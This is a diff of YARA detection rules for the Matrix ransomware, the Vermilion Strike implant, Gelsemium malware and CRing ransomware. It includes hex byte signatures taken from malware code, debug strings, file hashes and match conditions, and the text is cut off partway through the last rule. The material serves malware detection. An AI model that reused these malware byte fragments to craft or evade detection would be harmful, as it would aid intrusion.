"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsemine_June_2021_1.yara#L1-L19" + id = "a7df188c-e381-55e6-97e6-45f5830ff0d3" + date = "2020-10-15" + modified = "2020-10-15" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/MATRIX/RAN_Matrix_Sep_2020_1.yar#L1-L28" license_url = "N/A" - logic_hash = "2b5031412de163ad92dfe00c7da331eb36c4ce7b590df48dfa84df0104e93b15" + logic_hash = "e832b258e8d2ee94ebbf2e715ca01960a92d723ee017261b18ce05d3095bf8a3" score = 75 quality = 75 tags = "FILE" - hash1 = "00b701e3ef29912c1fcd8c2154c4ae372cfe542cfa54ffcce9fb449883097cec" - hash2 = "109d4b8878b8c8f3b7015f6b3ae573a6799296becce0f32ca3bd216bee0ab473" - hash3 = "fe71b66d65d5ff9d03a47197c99081d9ec8d5f6e95143bdc33f5ea2ac0ae5762" - hash3 = "29e78ca3cb49dd2985a29e74cafb1a0a15515670da0f4881f6095fb2926bfefd" - tlp = "white" - adversary = "Gelsemium" + hash1 = "7b5e536827c3bb9f8077aed78726585739bcde796904edd6c4faadc9a8d22eaf" + hash2 = "afca3b84177133ff859d9b9d620b582d913218723bfcf83d119ec125b88a8c40" + hash3 = "d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829" + hash4 = "5474b58de90ad79d6df4c633fb773053fecc16ad69fb5b86e7a2b640a2a056d6" strings: - $s1 = { 8b 44 24 04 83 ec 40 85 c0 53 55 56 57 0f 84 ec 15 00 00 8b 58 1c 85 db 0f 84 e1 15 00 00 8b 48 0c 85 c9 0f 84 d6 15 00 00 83 38 00 75 0b 8b 48 04 85 c9 0f 85 c6 15 00 00 83 3b 0b 75 06 c7 03 0c 00 00 00 8b 48 0c 8b 30 8b 78 04 8b 53 38 8b 6b 3c 89 4c 24 28 8b 48 10 8b 03 83 f8 1e 89 4c 24 20 89 74 24 14 89 7c 24 18 89 54 24 10 89 7c 24 38 89 4c 24 2c c7 44 24 34 00 00 00 } - $s2 = { 33 c0 33 d2 8a 06 8a 56 01 03 c8 33 c0 8a 46 02 03 f9 03 ca 33 d2 8a 56 03 03 f9 03 c8 33 c0 8a 46 04 03 f9 03 ca 33 d2 8a 56 05 03 f9 03 c8 33 c0 8a 46 06 03 f9 03 ca 33 d2 8a 56 07 03 f9 03 c8 33 c0 8a 46 08 03 f9 03 ca 33 d2 8a 56 09 03 f9 03 c8 33 c0 8a 46 0a 03 f9 03 ca 33 d2 8a 56 0b 03 f9 03 c8 33 c0 8a 46 0c 03 f9 03 ca 33 d2 8a 56 0d 03 f9 03 c8 33 c0 8a 46 0e 03 f9 03 ca 33 d2 8a 56 0f 03 f9 03 c8 83 c6 10 03 f9 03 ca 03 f9 4d 0f 85 67 ff ff ff 8b c1 33 d2 b9 f1 ff 00 00 f7 f1 8b c7 bf f1 ff 00 00 8b ca 33 d2 f7 f7 ff 4c 24 18 8b fa 0f 85 38 ff ff ff 85 db 0f 84 da 00 00 00 83 fb 10 0f 82 a1 00 00 00 8b eb c1 ed 04 33 d2 33 c0 8a 16 8a 46 01 03 ca 33 d2 8a 56 02 03 f9 03 c8 33 c0 8a 46 03 03 f9 03 ca 33 d2 8a 56 04 03 f9 03 c8 33 c0 8a 46 05 03 f9 03 ca 33 d2 8a 56 06 03 f9 03 c8 33 c0 8a 46 07 03 f9 03 ca 33 d2 8a 56 08 03 f9 03 c8 33 c0 8a 46 09 03 f9 03 ca 33 d2 8a 56 0a 03 f9 03 c8 33 c0 8a 46 0b 03 f9 03 ca 33 d2 8a 56 0c 03 f9 03 c8 33 c0 8a 46 0d 03 f9 03 ca 33 d2 8a 56 0e 03 f9 03 c8 33 c0 8a 46 0f 03 f9 03 ca 83 eb 10 03 f9 03 c8 03 f9 83 c6 10 } - $s3 = { 55 8b ec 6a ff 68 [2] 40 00 68 [2] 40 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 68 53 56 57 89 65 e8 33 db 89 5d fc 6a 02 5f 57 ff 15 [2] 40 00 59 83 0d [2] 41 00 ff 83 0d [2] 41 00 ff ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 a1 [2] 40 00 8b 00 a3 [2] 41 00 e8 ?? 01 00 00 39 1d [3] 00 75 0c 68 [2] 40 00 ff 15 [2] 40 00 59 e8 ?? 01 00 00 68 [3] 00 68 [3] 00 e8 ?? 01 00 00 a1 [2] 41 00 89 45 94 8d 45 94 50 ff 35 [2] 41 00 8d 45 9c 50 8d 45 90 50 8d 45 a0 50 ff 15 [2] 40 00 68 [3] 00 68 00 [2] 00 e8 ?? 01 00 00 83 c4 24 a1 [2] 40 00 8b 30 3b } + $debug1 = "[LDRIVES]: not found!" fullword wide + $debug2 = "[DONE]: NO_SHARES!" fullword wide + $debug3 = "[ALL_LOCAL_KID]: " fullword wide + $debug4 = "[FINISHED]: G=" fullword wide + $debug5 = "[FEX_START]" fullword wide + $debug6 = "[LOGSAVED]" fullword wide + $debug7 = "[GENKEY]" fullword wide + $debug8 = "[SHARES]" fullword wide + $debug9 = "[SHARESSCAN]: " fullword wide + $reg1 = { 2e 00 70 00 68 00 70 00 3f 00 61 00 70 00 69 00 6b 00 65 00 79 00 3d } + $reg2 = { 26 00 63 00 6f 00 6d 00 70 00 75 00 73 00 65 00 72 00 3d } + $reg3 = { 26 00 73 00 69 00 64 00 3d 00 } + $reg4 = { 26 00 70 00 68 00 61 00 73 00 65 00 3d } + $reg5 = { 47 00 45 00 54 } condition: - uint16( 0 ) == 0x5a4d and filesize > 150KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 500KB and 4 of ( $debug* ) and 3 of ( $reg* ) } -rule ARKBIRD_SOLG_APT_Gelsemium_Gelsevirine_June_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Beacon_Vermilion_Strike_Sep_2021_1 : FILE { meta: - description = "Detect Gelsevirine malware (Main Plug-in)" + description = "Detect the windows version of the beacon of Vermilion Strike implant" author = "Arkbird_SOLG" - id = "31900186-2531-5558-aafb-67707040ddaf" - date = "2021-06-12" - modified = "2021-06-14" - reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsevirine_June_2021_1.yara#L1-L18" + id = "61bb0f02-0eb3-5abe-a2fc-65b94a9486f7" + date = "2021-09-14" + modified = "2021-09-16" + reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Beacon_Vermilion_Strike_Sep_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "06e7ee49092621c8469eeb1cd9e5cc1420a1879084e0d0a39181dc046bfa00cf" + logic_hash = "801d93fc250666a48fbdd504c8bacab74f0bf7f534a7301a20ad79df3b41750d" score = 75 quality = 75 tags = "FILE" - hash1 = "1a9d78e5c255de239fb18b2cf47c4c2298f047073299c27fb54a0edf08a1d5a1" - hash1 = "51b9296ff1f562350cd63abd22c6032ef26d5ae6a3e2e5e0f851d8b1a5d0ee35" - tlp = "white" - adversary = "Gelsemium" + hash1 = "c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5" + hash2 = "07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f" + hash3 = "7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492" + tlp = "White" + adversary = "Vermilion Strike" strings: - $s1 = { 48 8b c4 55 41 56 41 57 48 8d a8 38 fa ff ff 48 81 ec b0 06 00 00 48 c7 85 a0 02 00 00 fe ff ff ff 48 89 58 08 48 89 70 10 48 89 78 18 4c 89 60 20 48 8b 05 68 bf 0b 00 48 33 c4 48 89 85 a0 05 00 00 45 33 e4 4c 89 65 08 4c 89 65 10 44 89 64 24 20 48 8d 54 24 20 48 8d 4d 08 e8 30 96 01 00 90 48 c7 85 f8 00 00 00 07 00 00 00 4c 89 a5 f0 00 00 00 66 44 89 a5 e0 00 00 00 45 8d 44 24 04 48 8d 15 79 d8 08 00 48 8d 8d e0 00 00 00 e8 dd b0 00 00 90 48 8d 8d e0 00 00 00 e8 50 30 ff ff 90 48 83 bd f8 00 00 00 08 72 0d 48 8b 8d e0 00 00 00 ff 15 b0 32 06 00 48 c7 85 b8 01 00 00 07 00 00 00 4c 89 a5 b0 01 00 00 66 44 89 a5 a0 01 00 00 41 b8 10 00 00 00 48 8d 15 61 d6 08 00 48 8d 8d a0 01 00 00 e8 85 b0 00 00 90 48 8d 95 a0 01 00 00 48 8d 8d 80 05 00 00 e8 41 96 01 00 90 48 83 bd b8 01 00 00 08 72 0d 48 8b 8d a0 01 00 00 ff 15 51 32 06 00 48 c7 85 68 04 00 00 07 00 00 00 4c 89 a5 60 04 00 00 66 44 89 a5 50 04 00 00 48 c7 85 78 01 00 00 07 00 00 00 4c 89 a5 70 01 00 00 66 44 89 a5 60 01 00 00 49 83 ce ff 4d 8b ce 45 33 c0 48 8d 95 80 05 00 00 48 8d 8d 60 01 00 00 e8 c8 ae 00 00 90 48 8d 95 60 01 00 00 48 8d 8d e0 01 00 00 e8 e4 5b ff ff 90 48 8d 8d 50 04 00 00 48 3b c8 74 15 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 50 04 00 00 e8 92 ae 00 00 48 8d 8d 50 04 00 00 e8 b6 11 ff ff 90 48 83 bd f8 01 00 00 08 72 0d 48 8b 8d e0 01 00 00 ff 15 a6 31 06 00 48 c7 85 f8 01 00 00 07 00 00 00 4c 89 a5 f0 01 00 00 66 44 89 a5 e0 01 00 00 48 83 bd 78 01 00 00 08 72 0d 48 8b 8d 60 01 00 00 ff 15 75 31 06 00 33 d2 48 8d 8d 50 04 00 00 e8 5f 2b 04 00 48 c7 85 58 01 00 00 07 00 00 00 4c 89 a5 50 01 00 00 66 44 89 a5 40 01 00 00 41 b8 0d 00 00 00 48 8d 15 b8 e2 08 00 48 8d 8d 40 01 00 00 e8 3c af 00 00 90 e8 96 2d ff ff 48 8d 48 30 48 8d 95 40 01 00 00 e8 b6 77 00 00 48 8b c8 e8 fe dc 02 00 48 8b c8 e8 16 d5 ff ff 90 48 83 bd 58 01 00 00 08 72 0d 48 8b 8d 40 01 00 00 ff 15 f6 30 06 00 48 c7 85 18 01 00 00 07 00 00 00 4c 89 a5 10 01 00 00 66 44 89 a5 00 01 00 00 41 b8 24 00 00 00 48 8d 15 d7 e3 08 00 48 8d 8d 00 01 00 00 e8 cb ae 00 00 90 48 8d 8d 00 01 00 00 e8 ce 6b 00 00 84 c0 0f 94 c3 48 83 bd 18 01 00 00 08 72 0d 48 8b 8d 00 01 00 00 ff 15 9a 30 06 00 84 db 0f 84 36 08 00 00 4c 89 a5 88 04 00 00 4c 89 a5 90 04 00 00 e8 f7 3b 01 00 48 89 85 88 04 00 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 41 b8 0b 00 00 00 48 8d 15 2a d6 08 00 48 8d 4d 38 e8 59 ae 00 00 90 e8 b3 2c ff ff 48 8d 48 30 48 8d 55 38 e8 96 75 00 00 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 98 04 00 00 e8 d7 ac 00 00 90 48 83 7d 50 08 72 0a 48 8b 4d 38 ff 15 fd 2f 06 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 4c 89 a5 b8 04 00 00 4c 89 a5 c0 04 00 00 4c 89 a5 c8 04 00 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 41 b8 01 00 00 00 48 8d 15 0d e3 08 00 48 8d 4d e8 e8 b8 ad 00 00 90 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 41 b8 0d 00 00 00 48 8d 15 e9 e2 08 00 48 8d 4d a8 e8 90 ad 00 00 90 e8 ea 2b ff ff 48 8d 48 30 48 8d 55 a8 e8 cd 74 00 00 48 8b d0 4c 8d 45 e8 48 8d 8d b8 04 00 00 e8 1a 55 01 00 90 48 83 7d c0 08 72 0a 48 8b 4d a8 ff 15 50 2f 06 00 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 48 83 7d 00 08 72 0a 48 8b 4d e8 ff 15 2e 2f 06 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 48 8d 85 98 04 00 00 48 89 85 c0 00 00 00 48 8d 85 88 04 00 00 48 89 85 c8 00 00 00 48 8b 9d b8 04 00 00 48 8b bd c0 04 00 00 48 3b df 0f 84 8b 02 00 00 66 90 4c 89 a5 48 05 00 00 4c 89 a5 50 05 00 00 48 c7 45 30 07 00 00 00 4c 89 65 28 66 44 89 65 18 4c 8d 85 50 04 00 00 48 83 bd 68 04 00 00 08 4c 0f 43 85 50 04 00 00 48 8d 95 50 04 00 00 48 0f 43 95 50 04 00 00 48 8b 85 60 04 00 00 4d 8d 04 40 48 8d 4d 18 e8 37 b4 01 00 90 48 8d 55 18 48 8d 8d 48 05 00 00 e8 36 9a 00 00 90 48 83 7d 30 } - $s2 = { 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4c 8b 85 88 04 00 00 4d 8b c8 4d 8b 00 48 8d 95 28 02 00 00 48 8d 8d 88 04 00 00 e8 d1 fe 00 00 48 8b 8d 88 04 00 00 ff 15 5c 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 41 b8 0e 00 00 00 48 8d 15 b7 db 08 00 48 8d 4d c8 e8 ee d0 00 00 90 48 8d 4d c8 e8 54 8c 01 00 48 8b d8 48 83 7d e0 10 72 0a 48 8b 4d c8 ff 15 18 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 48 } - $s3 = { 48 8d 8d a8 02 00 00 e8 88 64 01 00 90 48 8b 08 48 89 4c 24 38 48 8b 48 08 48 89 4c 24 40 4c 89 20 4c 89 60 08 48 8d 54 24 38 48 8d 4c 24 48 e8 a0 8e 01 00 90 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 41 b8 0b 00 00 00 48 8d 15 d9 d3 08 00 48 8d 4d 88 e8 a8 a5 00 00 90 48 8d 54 24 48 48 8d 4d 88 e8 d9 60 00 00 90 48 83 7d a0 08 72 0a 48 8b 4d 88 ff 15 7f 27 06 00 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 48 8b 4c 24 48 48 85 c9 74 0b 48 8b 01 ba 01 00 00 00 ff 10 90 48 8b 4c 24 40 } - $s4 = { 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 85 df 06 00 49 8b ce e8 05 dd ff ff e8 e0 db ff ff 48 8d 78 30 e8 27 fc ff ff 33 f6 84 c0 0f 85 ae 01 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 44 8d 46 07 48 8d 15 cf 84 09 00 48 8d 4c 24 20 e8 45 5d 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 44 8d 46 07 48 8d 15 a6 84 09 00 48 8d 4c 24 40 e8 1c 5d 01 00 90 48 8d 54 24 20 48 8b cf e8 5e 24 01 00 48 8b d8 48 8d 54 24 40 48 8d 4d 18 e8 4d 24 01 00 48 8b c8 48 8b d3 e8 72 c1 ff ff 85 c0 0f 9e c3 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 d2 de 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 ac de 06 00 84 db 0f 84 ed 00 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 20 00 00 00 48 8d 15 ec 84 09 00 48 8d 4c 24 20 e8 82 5c 01 00 90 48 8d 05 3a aa 09 00 48 89 44 24 40 48 c7 44 24 60 07 00 00 00 48 89 74 24 58 66 89 74 24 48 49 83 c9 ff 45 33 c0 48 8d 54 24 20 48 8d 4c 24 48 e8 0c 5b 01 00 90 48 8d 05 e4 a8 09 00 48 89 45 80 48 8d 4d 88 ff 15 76 de 06 00 48 8d 05 ff e7 06 00 48 89 45 a0 48 89 75 a8 48 89 75 b0 48 89 75 b8 c7 45 c0 ff ff ff ff 48 8b 45 80 48 63 48 04 48 8d 05 71 9a 09 00 48 89 44 0d 80 48 8b 45 80 48 63 48 08 48 8d 05 bd ac 09 00 48 89 44 0d 80 48 8d 54 24 40 48 8d 4d 80 e8 a2 e0 02 00 48 8b d0 41 b8 01 00 00 00 48 8d 4d d0 e8 e0 05 00 00 48 8d 15 81 f8 0b 00 48 8d 4d d0 e8 a2 46 06 00 90 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 0b 00 00 00 48 8d 15 67 83 09 00 48 8d 4c 24 20 e8 95 5b 01 00 90 48 8d 54 24 20 49 8b cd e8 d7 22 01 00 49 3b c4 74 13 49 83 c9 ff 45 33 c0 49 8b d4 48 8b c8 e8 30 5a 01 00 90 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 54 dd 06 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 07 00 00 00 48 8d 15 bc 82 09 00 48 8d 4c 24 20 e8 32 5b 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 41 b8 07 00 00 00 48 8d 15 91 82 09 00 48 8d 4c 24 40 e8 07 5b 01 00 90 48 8d 54 24 20 48 8d 4d 18 e8 48 22 01 00 48 8b d8 48 8d 54 24 40 48 8b cf e8 38 22 01 00 48 3b c3 74 13 49 83 c9 ff 45 33 c0 48 8b d3 48 8b c8 e8 91 59 01 00 90 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 b5 dc 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 } + $s1 = { 50 c7 03 01 00 00 00 e8 cc ?? 00 00 89 43 04 83 f8 ff 74 2c 8b 4d 08 6a 00 8d 44 24 0c 50 53 6a 08 6a 01 51 e8 91 ?? 00 00 85 c0 75 13 8b 44 24 08 66 83 78 08 01 6a 01 50 74 38 e8 80 ?? 00 00 8b 4e 10 2b 4e 0c b8 93 24 49 92 f7 e9 03 d1 c1 fa 04 8b c2 c1 e8 1f 47 03 c2 3b f8 0f 8c 30 ff ff ff 53 ff 15 } + $s2 = { 8b 4c 24 1c 6a 00 6a 00 6a 00 6a 01 51 ff 15 5c a2 02 10 8b 55 0c 8b f0 56 6a 02 53 52 8b cf 89 74 24 34 e8 f0 fb ff ff 8b 45 0c 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 50 57 56 ff 15 50 a2 02 10 8b 4c 24 30 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 53 51 50 89 44 24 3c ff 15 64 a2 02 10 8b f8 89 7c 24 14 8d 49 00 8b b4 24 90 00 00 00 8b 5c 24 7c 8b c3 83 fe 10 73 04 8d 44 24 7c 8d 50 01 8d a4 24 00 00 00 00 8a 08 40 84 c9 75 f9 2b c2 8b cb 83 fe 10 73 04 8d 4c 24 7c 8b 55 20 52 8b 54 24 2c 52 50 51 57 ff 15 4c a2 02 10 85 } + $s3 = { 68 00 00 00 10 6a 00 6a 00 6a 00 6a 00 c7 44 24 60 01 00 00 00 ff 15 40 a2 02 10 8b d8 8d 54 24 2c 52 8d 44 24 3c 50 55 53 ff 15 38 a2 02 10 8b e8 85 db 74 07 53 ff 15 44 a2 02 10 85 ed 74 2f 8b } + $s4 = { 6a ff 68 [2] 02 10 64 a1 00 00 00 00 50 81 ec 14 01 00 00 a1 c0 72 03 10 33 c4 89 84 24 10 01 00 00 53 a1 c0 72 03 10 33 c4 50 8d 84 24 1c 01 00 00 64 a3 00 00 00 00 33 db 8d 44 24 0c 89 9c 24 24 01 00 00 50 8d 4c 24 18 89 5c 24 0c 51 89 74 24 18 c7 44 24 14 04 01 00 00 ff 15 04 a0 02 10 8d 44 24 14 c7 46 18 0f 00 00 00 89 5e 14 88 5e 04 8d 50 01 8a 08 40 3a cb 75 f9 2b c2 50 8d 54 24 18 52 8b ce e8 [2] ff ff 89 9c 24 24 01 00 00 c7 44 24 08 01 00 00 00 e8 d1 fe ff ff 85 c0 8b c6 74 0e 6a 02 68 ?? c6 02 10 e8 [2] ff ff 8b c6 8b 8c 24 1c 01 00 00 64 89 0d 00 00 00 00 59 5b 8b 8c 24 } + $s5 = { a1 c0 72 03 10 33 c4 89 44 24 2c 68 00 00 00 f0 6a 18 6a 00 6a 00 68 4c 97 03 10 ff 15 30 a0 02 10 85 c0 75 11 33 c0 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 58 97 03 10 8b 0d 54 97 03 10 68 50 97 03 10 6a 00 33 c0 6a 00 66 89 44 24 1e a1 5c 97 03 10 89 54 24 2c 6a 1c 8d 54 24 20 89 44 24 34 a1 4c 97 03 10 89 4c 24 2c 8b 0d 60 97 03 10 52 50 c6 44 24 28 08 c6 44 24 29 02 c7 44 24 2c 0e 66 00 00 c7 44 24 30 10 00 00 00 89 4c 24 40 ff 15 2c a0 02 10 85 c0 74 87 8b 0d 50 97 03 10 56 8b 35 38 a0 02 10 6a 00 68 ?? 82 03 10 6a 01 51 c7 44 24 18 01 00 00 00 c7 44 24 20 01 00 00 00 ff d6 85 c0 74 2b a1 50 97 03 10 6a 00 8d 54 24 0c 52 6a 03 50 ff d6 85 c0 74 16 8b 15 50 97 03 10 6a 00 8d 4c 24 14 51 6a 04 52 ff d6 85 c0 75 12 33 c0 5e 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 50 97 03 10 6a } condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 30KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Cring_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_ELF_Vermilion_Strike_Sep_2021_1 : FILE { meta: - description = "Detect CRing ransomware" + description = "Detect the ELF version of Vermilion Strike implant" author = "Arkbird_SOLG" - id = "3648494d-8c27-5767-90e8-45e294aac382" - date = "2021-04-08" - modified = "2021-04-09" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-08/CRing/RAN_CRing_Apr_2021_1.yara#L1-L19" + id = "bfc498b6-4d3d-5ae9-a360-d31f8cf6c5fc" + date = "2021-09-14" + modified = "2021-09-16" + reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_ELF_Vermilion_Strike_Sep_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "d82db146c9048391d79bda6cc5913363fc3cfc1a7cca26b23b362b7f3563ef3c" + logic_hash = "fe4bb6da7b29f1ae7c25a657d27f5e60ffa0e7d9f1f09a5a2331e4a80eb79481" score = 50 quality = 75 tags = "FILE" - hash1 = "274ef2fba8ba46187f9cf462a02de286ea23ec75d163af01088f6856944817eb" - hash2 = "f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8" - hash3 = "ebb528207b2fc06a6bc89e9d430bcdfe254f0838b0f4660f67cc6bd1ebc193be" - level = "Experimental" + hash1 = "294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc" + level = "experimental" + tlp = "White" + adversary = "Vermilion Strike" strings: - $str1 = { 1b 30 03 00 4a 00 00 00 03 00 00 11 02 73 23 00 00 0a 0a 06 6f 24 00 00 0a 2d 3a 02 72 [1-4] 00 00 70 28 25 00 00 0a 0b 72 [1-4] 00 00 70 02 28 25 00 00 0a 28 1a 00 00 0a 06 6f 26 00 00 0a 07 7e 01 00 00 04 28 05 00 00 06 2c 06 06 6f 27 00 00 0a de 03 26 de 00 2a 00 00 01 10 00 00 00 00 1b 00 2b 46 00 03 13 00 00 01 } - $str2 = { 1b 30 05 00 1a 01 00 00 04 00 00 11 16 0a 73 28 00 00 0a 0b 07 6f 29 00 00 0a 1e 5b 8d 2c 00 00 01 0c 07 6f 2a 00 00 0a 1e 5b 8d 2c 00 00 01 0d 73 2b 00 00 0a 13 06 11 06 08 6f 2c 00 00 0a 11 06 09 6f 2c 00 00 0a de 0c 11 06 2c 07 11 06 6f 12 00 00 0a dc 08 8e 69 09 8e 69 58 8d 2c 00 00 01 13 04 08 11 04 08 8e 69 28 2d 00 00 0a 09 16 11 04 08 8e 69 09 8e 69 28 2e 00 00 0a 11 04 04 28 06 00 00 06 13 04 11 04 8e 69 28 2f 00 00 0a 13 05 07 08 09 6f 30 00 00 0a 13 07 02 19 73 31 00 00 0a 13 08 03 18 73 31 00 00 0a 13 09 11 09 11 07 17 73 32 00 00 0a 13 0a 11 09 11 05 16 11 05 8e 69 6f 33 00 00 0a 11 09 11 04 16 11 04 8e 69 6f 33 00 00 0a 11 08 11 0a 20 [4] 6f 34 00 00 0a de 30 11 0a 2c 07 11 0a 6f 12 00 00 0a dc 11 09 2c 07 11 09 6f 12 00 00 0a dc 11 08 2c 07 11 08 6f 12 00 00 0a dc 11 07 2c 07 11 07 6f 12 00 00 0a dc 17 0a de 0a 07 2c 06 07 6f 12 00 00 0a dc 06 2a 00 00 41 94 00 00 02 00 00 00 2b 00 00 00 12 00 00 00 3d 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 ae 00 00 00 2c 00 00 00 da 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 a2 00 00 00 44 00 00 00 e6 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 99 00 00 00 59 00 00 00 f2 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 90 00 00 00 6e 00 00 00 fe 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 08 00 00 00 06 01 00 00 0e 01 00 00 0a 00 00 00 00 00 00 00 } - $str3 = { 1b 30 03 00 24 00 00 00 05 00 00 11 73 35 00 00 0a 0a 06 03 6f 36 00 00 0a 06 02 17 6f 37 00 00 0a 0b de 0a 06 2c 06 06 6f 12 00 00 0a dc 07 2a 01 10 00 00 02 00 06 00 12 18 00 0a 00 00 00 00 } + $s1 = { be bd f8 40 00 41 55 49 89 fd bf a3 f8 40 00 41 54 55 53 48 81 ec 20 04 00 00 e8 4f cb ff ff 48 85 c0 48 89 c5 0f 84 af 01 00 00 48 8d 5c 24 20 41 bc 0a 00 00 00 41 be b0 32 40 00 66 90 48 89 ea be c8 00 00 00 48 89 df e8 30 cd ff ff 48 85 c0 0f 84 4f 01 00 00 80 7c 24 20 23 74 e0 bf b4 f8 40 00 48 89 de 4c 89 e1 f3 a6 75 d1 be d4 1d 41 } + $s2 = { 8b 43 14 8b 73 10 8b 4b 0c 8d 56 01 44 8d 80 6c 07 00 00 be 70 21 41 00 31 c0 e8 ed 34 ff ff 48 85 ed 74 28 8b 4b 04 8b 53 08 48 89 ef 44 8b 03 48 83 c4 08 be 79 21 41 00 5b 5d } + $s3 = { 55 53 48 83 ec 70 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 40 48 89 44 24 08 8b 84 24 90 00 00 00 89 04 24 e8 22 fb ff ff e8 fd 58 ff ff e8 38 5a ff ff e8 f3 59 ff ff 0f 1f 00 e8 5b 5e ff ff 48 89 c7 e8 23 5b ff ff 48 89 c7 48 89 c5 e8 18 5f ff ff 48 8d 4c 24 50 31 d2 be 6e 00 00 00 48 89 c7 48 89 c3 e8 41 59 ff ff 48 8b 7c 24 50 31 c9 ba 04 00 00 00 be 21 00 00 00 e8 1b 60 ff ff 48 8d 54 24 2f 48 8d 7c 24 60 4c 89 e6 e8 d9 5c ff ff 48 8d 7c 24 60 ba 88 f8 40 00 be a7 20 41 00 e8 a5 1f 00 00 48 8b 4c 24 60 31 d2 be 64 00 00 00 48 89 df e8 f1 58 ff ff 31 c9 31 d2 be 65 00 00 00 48 89 df e8 e0 58 ff ff 48 85 c0 7e 73 48 8b 7c 24 50 e8 41 58 ff ff 8b 54 24 30 48 8b 74 24 40 48 89 df e8 50 59 ff ff 48 8b 7c 24 40 e8 66 12 00 00 48 8b 94 24 a0 00 00 00 48 8b b4 24 98 00 00 00 48 89 df e8 0e fd ff ff 48 89 df e8 b6 5f ff ff 48 89 ef e8 ce 58 ff ff b8 01 00 00 00 48 8b 54 24 60 48 8d 7a e8 48 81 ff c0 54 61 00 75 23 48 83 c4 70 5b 5d 41 5c c3 66 0f 1f 44 00 00 48 89 df e8 80 5f ff ff 48 89 ef e8 98 58 ff ff 31 c0 eb cb be b0 32 40 00 48 8d 4f 10 48 85 f6 74 3d 83 ca ff } + $s4 = { 8b 15 6e e4 20 00 31 ff be e0 57 61 00 e8 0a b8 ff ff 48 89 c7 31 c0 48 85 ff 74 17 48 89 3d e9 e4 20 00 e8 a4 bf 